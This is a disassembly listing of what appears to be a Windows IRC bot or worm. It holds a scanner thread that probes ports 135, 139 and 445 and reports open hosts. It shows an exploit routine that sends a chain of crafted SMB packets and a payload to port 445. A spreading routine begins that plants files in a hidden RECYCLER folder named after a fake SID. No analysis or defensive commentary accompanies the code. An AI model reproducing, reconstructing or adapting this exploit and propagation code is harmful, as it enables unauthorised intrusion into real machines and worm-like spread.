		call	dword_456FDC	; inet_ntoa
		mov	esi, dword_437178
		push	eax
		call	esi ; dword_437178
		test	eax, eax
		jz	loc_407278
		push	offset dword_457CF8
		push	[ebp+var_30]
		call	dword_456FDC	; inet_ntoa
		push	eax
		call	esi ; dword_437178
		test	eax, eax
		jz	loc_407278
		cmp	edi, 0FFFFFFFFh
		jz	loc_407267
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		call	dword_456EBC	; connect
		mov	ecx, [ebp+var_38]
		imul	ecx, 2724h
		cmp	eax, 0FFFFFFFFh
		mov	dword_46D730[ecx], edi
		jz	loc_407267
		cmp	[ebp+var_20], 0
		mov	edi, offset aTarxm0mtxpp_ ; "tArXm0mtxpp."
		mov	ebx, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		mov	esi, offset aSSSingleIpSSDO ; "%s %s single Ip:	(%s) %s: (%d) open."
		jnz	short loc_406E8E
		cmp	[ebp+var_28], 0
		jnz	short loc_406E94
		push	[ebp+var_44]
		push	offset aKbwmi16jfhl ; "KbwMi16jFhl/"
		push	[ebp+var_30]
		call	dword_456FDC	; inet_ntoa
		push	eax
		push	edi
		push	ebx
		lea	eax, [ebp+var_144]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 20h


loc_406E8E:				; CODE XREF: sub_406D7F+E0j
		cmp	[ebp+var_28], 0
		jz	short loc_406EBB


loc_406E94:				; CODE XREF: sub_406D7F+E6j
		push	[ebp+var_44]
		push	offset aKbwmi16jfhl ; "KbwMi16jFhl/"
		push	[ebp+var_30]
		call	dword_456FDC	; inet_ntoa
		push	eax
		push	edi
		push	ebx
		lea	eax, [ebp+var_144]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 20h


loc_406EBB:				; CODE XREF: sub_406D7F+113j
		push	[ebp+var_30]
		call	dword_456FDC	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_210]
		push	10h
		push	eax
		call	sub_429BBE
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_200]
		push	80h
		push	eax
		call	sub_429BBE
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_38]
		and	[ebp+var_164], 0
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_20]
		add	esp, 18h
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_44]
		cmp	eax, 87h
		mov	[ebp+var_16C], eax
		mov	[ebp+var_168], ecx
		jnz	loc_40701F
		sub	esp, 0C4h
		lea	esi, [ebp+var_210]
		lea	eax, [ebp+var_144]
		push	31h
		pop	ecx
		mov	edi, esp
		push	[ebp+var_14C]
		rep movsd
		push	eax
		call	sub_403B9B
		add	esp, 0CCh
		test	eax, eax
		jz	short loc_406FBE
		xor	esi, esi
		xor	eax, eax
		cmp	[ebp+var_20], esi
		mov	[ebp+var_164], eax
		jnz	short loc_406F91
		cmp	[ebp+var_28], esi
		jnz	short loc_406F96
		lea	eax, [ebp+var_210]
		push	eax
		push	offset dword_43A357
		push	ebx
		lea	eax, [ebp+var_144]
		push	offset aSSIpS	; "%s (%s) -> IP: (%s)"
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		mov	eax, [ebp+var_164]
		add	esp, 18h


loc_406F91:				; CODE XREF: sub_406D7F+1E1j
		cmp	[ebp+var_28], esi
		jz	short loc_406FBE


loc_406F96:				; CODE XREF: sub_406D7F+1E6j
		shl	eax, 6
		lea	ecx, [ebp+var_210]
		add	eax, offset dword_43A357
		push	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_144]
		push	offset aSSIpS	; "%s (%s) -> IP: (%s)"
		push	eax
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 18h


loc_406FBE:				; CODE XREF: sub_406D7F+1D2j
					; sub_406D7F+215j
		sub	esp, 0C4h
		lea	esi, [ebp+var_210]
		lea	eax, [ebp+var_144]
		push	31h
		pop	ecx
		mov	edi, esp
		push	[ebp+var_14C]
		rep movsd
		push	eax
		call	sub_404134
		add	esp, 0CCh
		test	eax, eax
		jz	loc_407267
		push	2
		xor	esi, esi
		cmp	[ebp+var_20], esi
		pop	eax
		mov	[ebp+var_164], eax
		jnz	loc_40723A
		cmp	[ebp+var_28], esi
		jnz	loc_40723F
		lea	eax, [ebp+var_210]
		push	eax
		push	offset byte_43A3D7
		jmp	loc_40721C
; ---------------------------------------------------------------------------


loc_40701F:				; CODE XREF: sub_406D7F+19Fj
		cmp	eax, 8Bh
		jnz	loc_407126
		sub	esp, 0C4h
		lea	esi, [ebp+var_210]
		lea	eax, [ebp+var_144]
		push	31h
		pop	ecx
		mov	edi, esp
		push	[ebp+var_14C]
		rep movsd
		push	eax
		call	sub_4066E2
		add	esp, 0CCh
		test	eax, eax
		jz	short loc_4070C5
		push	4
		xor	esi, esi
		cmp	[ebp+var_20], esi
		pop	eax
		mov	[ebp+var_164], eax
		jnz	short loc_407098
		cmp	[ebp+var_28], esi
		jnz	short loc_40709D
		lea	eax, [ebp+var_210]
		push	eax
		push	offset byte_43A457
		push	ebx
		lea	eax, [ebp+var_144]
		push	offset aSSIpS	; "%s (%s) -> IP: (%s)"
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		mov	eax, [ebp+var_164]
		add	esp, 18h


loc_407098:				; CODE XREF: sub_406D7F+2E8j
		cmp	[ebp+var_28], esi
		jz	short loc_4070C5


loc_40709D:				; CODE XREF: sub_406D7F+2EDj
		shl	eax, 6
		lea	ecx, [ebp+var_210]
		add	eax, offset dword_43A357
		push	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_144]
		push	offset aSSIpS	; "%s (%s) -> IP: (%s)"
		push	eax
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 18h


loc_4070C5:				; CODE XREF: sub_406D7F+2D8j
					; sub_406D7F+31Cj
		sub	esp, 0C4h
		lea	esi, [ebp+var_210]
		lea	eax, [ebp+var_144]
		push	31h
		pop	ecx
		mov	edi, esp
		push	[ebp+var_14C]
		rep movsd
		push	eax
		call	sub_4059BF
		add	esp, 0CCh
		test	eax, eax
		jz	loc_407267
		push	6
		xor	esi, esi
		cmp	[ebp+var_20], esi
		pop	eax
		mov	[ebp+var_164], eax
		jnz	loc_40723A
		cmp	[ebp+var_28], esi
		jnz	loc_40723F
		lea	eax, [ebp+var_210]
		push	eax
		push	offset byte_43A4D7
		jmp	loc_40721C
; ---------------------------------------------------------------------------


loc_407126:				; CODE XREF: sub_406D7F+2A5j
		cmp	eax, 1BDh
		jnz	loc_407267
		sub	esp, 0C4h
		lea	esi, [ebp+var_210]
		lea	eax, [ebp+var_144]
		push	31h
		pop	ecx
		mov	edi, esp
		push	[ebp+var_14C]
		rep movsd
		push	eax
		call	sub_4073A2
		add	esp, 0CCh
		test	eax, eax
		jz	short loc_4071CC
		push	0Ah
		xor	esi, esi
		cmp	[ebp+var_20], esi
		pop	eax
		mov	[ebp+var_164], eax
		jnz	short loc_40719F
		cmp	[ebp+var_28], esi
		jnz	short loc_4071A4
		lea	eax, [ebp+var_210]
		push	eax
		push	offset off_43A5D7
		push	ebx
		lea	eax, [ebp+var_144]
		push	offset aSSIpS	; "%s (%s) -> IP: (%s)"
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		mov	eax, [ebp+var_164]
		add	esp, 18h


loc_40719F:				; CODE XREF: sub_406D7F+3EFj
		cmp	[ebp+var_28], esi
		jz	short loc_4071CC


loc_4071A4:				; CODE XREF: sub_406D7F+3F4j
		shl	eax, 6
		lea	ecx, [ebp+var_210]
		add	eax, offset dword_43A357
		push	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_144]
		push	offset aSSIpS	; "%s (%s) -> IP: (%s)"
		push	eax
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 18h


loc_4071CC:				; CODE XREF: sub_406D7F+3DFj
					; sub_406D7F+423j
		sub	esp, 0C4h
		lea	esi, [ebp+var_210]
		lea	eax, [ebp+var_144]
		push	31h
		pop	ecx
		mov	edi, esp
		push	[ebp+var_14C]
		rep movsd
		push	eax
		call	sub_4063C0
		add	esp, 0CCh
		test	eax, eax
		jz	short loc_407267
		push	3
		xor	esi, esi
		cmp	[ebp+var_20], esi
		pop	eax
		mov	[ebp+var_164], eax
		jnz	short loc_40723A
		cmp	[ebp+var_28], esi
		jnz	short loc_40723F
		lea	eax, [ebp+var_210]
		push	eax
		push	offset byte_43A417


loc_40721C:				; CODE XREF: sub_406D7F+29Bj
					; sub_406D7F+3A2j
		push	ebx
		lea	eax, [ebp+var_144]
		push	offset aSSIpS	; "%s (%s) -> IP: (%s)"
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		mov	eax, [ebp+var_164]
		add	esp, 18h


loc_40723A:				; CODE XREF: sub_406D7F+280j
					; sub_406D7F+387j ...
		cmp	[ebp+var_28], esi
		jz	short loc_407267


loc_40723F:				; CODE XREF: sub_406D7F+289j
					; sub_406D7F+390j ...
		shl	eax, 6
		lea	ecx, [ebp+var_210]
		add	eax, offset dword_43A357
		push	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_144]
		push	offset aSSIpS	; "%s (%s) -> IP: (%s)"
		push	eax
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 18h


loc_407267:				; CODE XREF: sub_406D7F+A2j
					; sub_406D7F+C7j ...
		push	64h
		call	dword_437190	; Sleep
		push	[ebp+var_4]
		call	dword_456FF0	; closesocket


loc_407278:				; CODE XREF: sub_406D7F+80j
					; sub_406D7F+99j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_406D7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_407281	proc near		; DATA XREF: sub_40A9FE+665Ao

var_1C0		= byte ptr -1C0h
var_140		= dword	ptr -140h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	4Eh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_140]
		rep movsd
		push	[ebp+var_140]
		lea	esi, [ebp+var_140]
		mov	dword ptr [ebx+130h], 1
		sub	esp, 138h
		push	4Eh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_406C69
		mov	esi, dword_437190
		add	esp, 13Ch
		mov	edi, offset aKbwmi16jfhl ; "KbwMi16jFhl/"


loc_4072D6:				; CODE XREF: sub_407281+11Cj
		push	[ebp+var_38]
		push	edi
		push	[ebp+var_24]
		call	dword_456FDC	; inet_ntoa
		push	eax
		push	offset aTarxm0mtxpp_ ; "tArXm0mtxpp."
		push	edi
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		lea	eax, [ebp+var_1C0]
		push	offset aSSSSStartSD ; "%s %s%s:	(%s), Start%s: (%d)"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_1C0]
		push	270Fh
		push	eax
		mov	eax, [ebp+var_2C]
		imul	eax, 2724h
		add	eax, offset dword_46B010
		push	eax
		call	sub_429D10
		add	esp, 2Ch
		lea	eax, [ebp+var_8]
		lea	ecx, [ebp+var_140]
		push	eax
		xor	eax, eax
		push	eax
		push	ecx
		push	offset sub_406D7F
		push	eax
		push	eax
		call	dword_437180	; CreateThread
		mov	[ebp+var_4], eax


loc_407341:				; CODE XREF: sub_407281+CAj
		cmp	[ebp+var_C], 1
		jz	short loc_40734D
		push	32h
		call	esi ; dword_437190
		jmp	short loc_407341
; ---------------------------------------------------------------------------


loc_40734D:				; CODE XREF: sub_407281+C4j
		push	[ebp+var_4]
		call	dword_437044	; CloseHandle
		push	[ebp+var_34]
		and	dword ptr [ebx+134h], 0
		call	esi ; dword_437190
		lea	eax, [ebp+var_24]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_429420
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_456E28	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_456F34	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_429420
		add	esp, 0Ch
		jmp	loc_4072D6
sub_407281	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4073A2	proc near		; CODE XREF: sub_406D7F+3D2p

var_11B4	= byte ptr -11B4h
var_1024	= byte ptr -1024h
var_101B	= byte ptr -101Bh
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFA		= dword	ptr -0FFAh
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_B4		= dword	ptr  0BCh
arg_BC		= dword	ptr  0C4h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_429B60
		push	ebx
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		push	2
		call	dword_4372B8	; WSAStartup
		test	eax, eax
		jnz	loc_4079A3
		lea	eax, [ebp+arg_8]
		push	5
		push	eax
		call	sub_404525
		pop	ecx
		cmp	eax, 3
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_407406
		lea	eax, [ebp+arg_8]
		push	6
		push	eax
		call	sub_404525
		xor	ebx, ebx
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_407408
		lea	eax, [ebp+arg_8]
		push	5
		push	eax
		call	sub_404525
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx
		jmp	short loc_407408
; ---------------------------------------------------------------------------


loc_407406:				; CODE XREF: sub_4073A2+3Aj
		xor	ebx, ebx


loc_407408:				; CODE XREF: sub_4073A2+50j
					; sub_4073A2+62j
		push	6
		push	1
		push	2
		call	dword_456FD0	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_4079A3
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_24], 2
		push	eax
		call	dword_456F7C	; inet_addr
		push	1BDh
		mov	[ebp+var_20], eax
		call	dword_456F38	; ntohs
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	dword_456EBC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40799C
		push	ebx
		push	89h
		push	offset dword_43E2C0
		push	edi
		call	dword_456F8C	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40799C
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp+var_1024]
		push	esi
		push	eax
		push	edi
		call	dword_456F58	; recv
		cmp	eax, 1
		jl	loc_40799C
		push	ebx
		push	0BDh
		push	offset dword_43E350
		push	edi
		call	dword_456F8C	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40799C
		push	ebx
		lea	eax, [ebp+var_1024]
		push	esi
		push	eax
		push	edi
		call	dword_456F58	; recv
		cmp	eax, 0Ah
		jle	loc_40799C
		mov	eax, [ebp+var_1004]
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43E430
		call	sub_429420
		add	esp, 0Ch
		push	ebx
		push	111h
		push	offset dword_43E410
		push	edi
		call	dword_456F8C	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40799C
		push	ebx
		lea	eax, [ebp+var_1024]
		push	esi
		push	eax
		push	edi
		call	dword_456F58	; recv
		cmp	eax, 0Ah
		jle	loc_40799C
		push	ebx
		push	6Fh
		push	offset dword_43E528
		push	edi
		call	dword_456F8C	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40799C
		push	ebx
		lea	eax, [ebp+var_1024]
		push	esi
		push	eax
		push	edi
		call	dword_456F58	; recv
		cmp	eax, 0Ah
		jle	loc_40799C
		mov	eax, [ebp+var_1004]
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43E5B8
		call	sub_429420
		add	esp, 0Ch
		push	ebx
		push	3Bh
		push	offset dword_43E598
		push	edi
		call	dword_456F8C	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40799C
		push	ebx
		lea	eax, [ebp+var_1024]
		push	esi
		push	eax
		push	edi
		call	dword_456F58	; recv
		cmp	eax, 0Ah
		jle	loc_40799C
		cmp	[ebp+var_101B],	0
		jnz	loc_40799C
		mov	eax, [ebp+var_1008]
		push	2
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	offset dword_43E5F4
		call	sub_429420
		lea	eax, [ebp+var_8]
		push	2
		push	eax
		push	offset dword_43E5F8
		call	sub_429420
		add	esp, 18h
		push	ebx
		push	6Ah
		push	offset dword_43E5D8
		push	edi
		call	dword_456F8C	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40799C
		push	ebx
		lea	eax, [ebp+var_1024]
		push	esi
		push	eax
		push	edi
		call	dword_456F58	; recv
		cmp	eax, 0Ah
		jle	loc_40799C
		cmp	[ebp+var_101B],	0
		jnz	loc_40799C
		mov	eax, [ebp+var_FFA]
		push	2
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	offset dword_43E664
		call	sub_429420
		lea	eax, [ebp+var_8]
		push	2
		push	eax
		push	offset dword_43E668
		call	sub_429420
		lea	eax, [ebp+var_14]
		push	2
		push	eax
		push	offset byte_43E671
		call	sub_429420
		add	esp, 24h
		push	ebx
		push	243h
		push	offset dword_43E648
		push	edi
		call	dword_456F8C	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40799C
		push	ebx
		lea	eax, [ebp+var_1024]
		push	esi
		push	eax
		push	edi
		call	dword_456F58	; recv
		cmp	eax, 0Ah
		jle	loc_40799C
		cmp	[ebp+var_101B],	0
		jnz	loc_40799C
		lea	eax, [ebp+var_10]
		push	2
		push	eax
		push	offset dword_43E8AC
		call	sub_429420
		lea	eax, [ebp+var_8]
		push	2
		push	eax
		push	offset dword_43E8B0
		call	sub_429420
		lea	eax, [ebp+var_14]
		push	2
		push	eax
		push	offset byte_43E8B9
		call	sub_429420
		add	esp, 24h
		push	ebx
		push	3Fh
		push	offset dword_43E890
		push	edi
		call	dword_456F8C	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40799C
		push	ebx
		lea	eax, [ebp+var_1024]
		push	esi
		push	eax
		push	edi
		call	dword_456F58	; recv
		cmp	eax, 0Ah
		jle	loc_40799C
		cmp	[ebp+var_101B],	0
		jnz	loc_40799C
		lea	eax, [ebp+var_10]
		push	2
		push	eax
		push	offset dword_43E8EC
		call	sub_429420
		lea	eax, [ebp+var_8]
		push	2
		push	eax
		push	offset dword_43E8F0
		call	sub_429420
		lea	eax, [ebp+var_14]
		push	2
		push	eax
		push	offset byte_43E8F9
		call	sub_429420
		push	dword_43EC60
		push	offset dword_43A8E8
		push	offset byte_43E9E1
		call	sub_429420
		add	esp, 30h
		cmp	[ebp+var_4], 2
		mov	ebx, offset byte_43EB61
		mov	edi, offset byte_43EB65
		mov	esi, offset byte_43EB6D
		jnz	short loc_407781
		push	4
		push	offset dword_43EBDC
		push	ebx
		call	sub_429420
		push	4
		push	offset dword_43EBD8
		push	edi
		call	sub_429420
		push	4
		push	offset dword_43EBD4
		push	esi
		call	sub_429420
		add	esp, 24h


loc_407781:				; CODE XREF: sub_4073A2+3B3j
		cmp	[ebp+var_4], 3
		jnz	short loc_4077B1
		push	4
		push	offset dword_43EBEC
		push	ebx
		call	sub_429420
		push	4
		push	offset dword_43EBE8
		push	edi
		call	sub_429420
		push	4
		push	offset dword_43EBE4
		push	esi
		call	sub_429420
		add	esp, 24h


loc_4077B1:				; CODE XREF: sub_4073A2+3E3j
		cmp	[ebp+var_4], 4
		jnz	short loc_4077E1
		push	4
		push	offset dword_43EBFC
		push	ebx
		call	sub_429420
		push	4
		push	offset dword_43EBF8
		push	edi
		call	sub_429420
		push	4
		push	offset dword_43EBF4
		push	esi
		call	sub_429420
		add	esp, 24h


loc_4077E1:				; CODE XREF: sub_4073A2+413j
		cmp	[ebp+var_4], 5
		jnz	short loc_407811
		push	4
		push	offset dword_43EC0C
		push	ebx
		call	sub_429420
		push	4
		push	offset dword_43EC08
		push	edi
		call	sub_429420
		push	4
		push	offset dword_43EC04
		push	esi
		call	sub_429420
		add	esp, 24h


loc_407811:				; CODE XREF: sub_4073A2+443j
		cmp	[ebp+var_4], 6
		jnz	short loc_407841
		push	4
		push	offset dword_43EC1C
		push	ebx
		call	sub_429420
		push	4
		push	offset dword_43EC18
		push	edi
		call	sub_429420
		push	4
		push	offset dword_43EC14
		push	esi
		call	sub_429420
		add	esp, 24h


loc_407841:				; CODE XREF: sub_4073A2+473j
		cmp	[ebp+var_4], 7
		jnz	short loc_407871
		push	4
		push	offset dword_43EC2C
		push	ebx
		call	sub_429420
		push	4
		push	offset dword_43EC28
		push	edi
		call	sub_429420
		push	4
		push	offset dword_43EC24
		push	esi
		call	sub_429420
		add	esp, 24h


loc_407871:				; CODE XREF: sub_4073A2+4A3j
		cmp	[ebp+var_4], 8
		jnz	short loc_4078A1
		push	4
		push	offset dword_43EC3C
		push	ebx
		call	sub_429420
		push	4
		push	offset dword_43EC38
		push	edi
		call	sub_429420
		push	4
		push	offset dword_43EC34
		push	esi
		call	sub_429420
		add	esp, 24h


loc_4078A1:				; CODE XREF: sub_4073A2+4D3j
		xor	ebx, ebx
		push	ebx
		push	2FFh
		push	offset dword_43E8D0
		push	[ebp+var_C]
		call	dword_456F8C	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_407997
		movzx	eax, word_44399E
		push	eax
		lea	esi, [ebp+arg_8]
		sub	esp, 0C4h
		push	31h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_401B6E
		add	esp, 0C8h
		test	eax, eax
		jz	short loc_407964
		mov	edx, [ebp+arg_B4]
		mov	edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		mov	eax, edx
		mov	esi, offset aSSSExD ; "%s %s ->	%s (Ex:	%d)"
		shl	eax, 6
		lea	ecx, dword_43A380[eax]
		inc	dword ptr [ecx]
		cmp	[ebp+arg_C4], ebx
		mov	ecx, [ecx]
		jz	short loc_407938
		cmp	[ebp+arg_BC], ebx
		jnz	short loc_407940
		push	ecx
		lea	ecx, [ebp+arg_8]
		lea	eax, dword_43A357[eax]
		push	ecx
		push	eax
		push	edi
		push	esi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CE4A
		mov	edx, [ebp+arg_B4]
		add	esp, 1Ch


loc_407938:				; CODE XREF: sub_4073A2+56Aj
		cmp	[ebp+arg_BC], ebx
		jz	short loc_407964


loc_407940:				; CODE XREF: sub_4073A2+572j
		shl	edx, 6
		lea	eax, [ebp+arg_8]
		push	dword_43A380[edx]
		push	eax
		lea	eax, dword_43A357[edx]
		push	eax
		push	edi
		push	esi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CDD4
		add	esp, 1Ch


loc_407964:				; CODE XREF: sub_4073A2+543j
					; sub_4073A2+59Cj
		push	ebx
		lea	eax, [ebp+var_1024]
		push	1000h
		push	eax
		push	[ebp+var_C]
		call	dword_456F58	; recv
		cmp	eax, 0Ah
		jle	short loc_407997
		cmp	[ebp+var_101B],	0
		jnz	short loc_407997
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_401E9E
		xor	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_4079A5
; ---------------------------------------------------------------------------


loc_407997:				; CODE XREF: sub_4073A2+518j
					; sub_4073A2+5DBj ...
		push	[ebp+var_C]
		jmp	short loc_40799D
; ---------------------------------------------------------------------------


loc_40799C:				; CODE XREF: sub_4073A2+B2j
					; sub_4073A2+CDj ...
		push	edi


loc_40799D:				; CODE XREF: sub_4073A2+5F8j
		call	dword_456FF0	; closesocket


loc_4079A3:				; CODE XREF: sub_4073A2+21j
					; sub_4073A2+7Aj
		xor	eax, eax


loc_4079A5:				; CODE XREF: sub_4073A2+5F3j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4073A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4079AA	proc near		; CODE XREF: sub_407E4B+A9p

var_502C	= byte ptr -502Ch
var_502B	= byte ptr -502Bh
var_291C	= byte ptr -291Ch
var_291B	= byte ptr -291Bh
var_20C		= byte ptr -20Ch
var_108		= byte ptr -108h
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 502Ch
		call	sub_429B60
		and	[ebp+var_291C],	0
		push	ebx
		push	esi
		mov	edx, 9C3h
		push	edi
		mov	ecx, edx
		xor	eax, eax
		lea	edi, [ebp+var_291B]
		rep stosd
		and	[ebp+var_502C],	0
		mov	ecx, edx
		stosw
		stosb
		xor	eax, eax
		lea	edi, [ebp+var_502B]
		rep stosd
		stosw
		push	1
		stosb
		call	dword_457004	; SetErrorMode
		push	2
		call	dword_457004	; SetErrorMode
		push	8000h
		call	dword_457004	; SetErrorMode
		push	[ebp+arg_0]
		mov	esi, dword_437090
		lea	eax, [ebp+var_291C]
		push	eax
		call	esi ; dword_437090
		lea	eax, [ebp+var_291C]
		push	offset aRecycler ; "\\RECYCLER"
		push	eax
		call	esi ; dword_437090
		lea	eax, [ebp+var_291C]
		push	0
		push	eax
		call	dword_43708C	; CreateDirectoryA
		test	eax, eax
		jnz	short loc_407A3F
		call	dword_437170	; RtlGetLastWin32Error


loc_407A3F:				; CODE XREF: sub_4079AA+8Dj
		mov	ebx, dword_437068
		lea	eax, [ebp+var_291C]
		push	7
		push	eax
		call	ebx ; dword_437068
		call	sub_429B9C
		push	9
		pop	edi
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		lea	eax, [ebp+var_20C]
		push	edx
		push	offset aSDDDDDDDDDDDDD ; "\\S-%d-%d-%d%d-%d%d%d%d%d%d%d%d%d%d-%d%d"...
		push	104h
		push	eax
		call	sub_429BBE
		add	esp, 0A0h
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_291C]
		push	eax
		call	esi ; dword_437090
		lea	eax, [ebp+var_291C]
		push	0
		push	eax
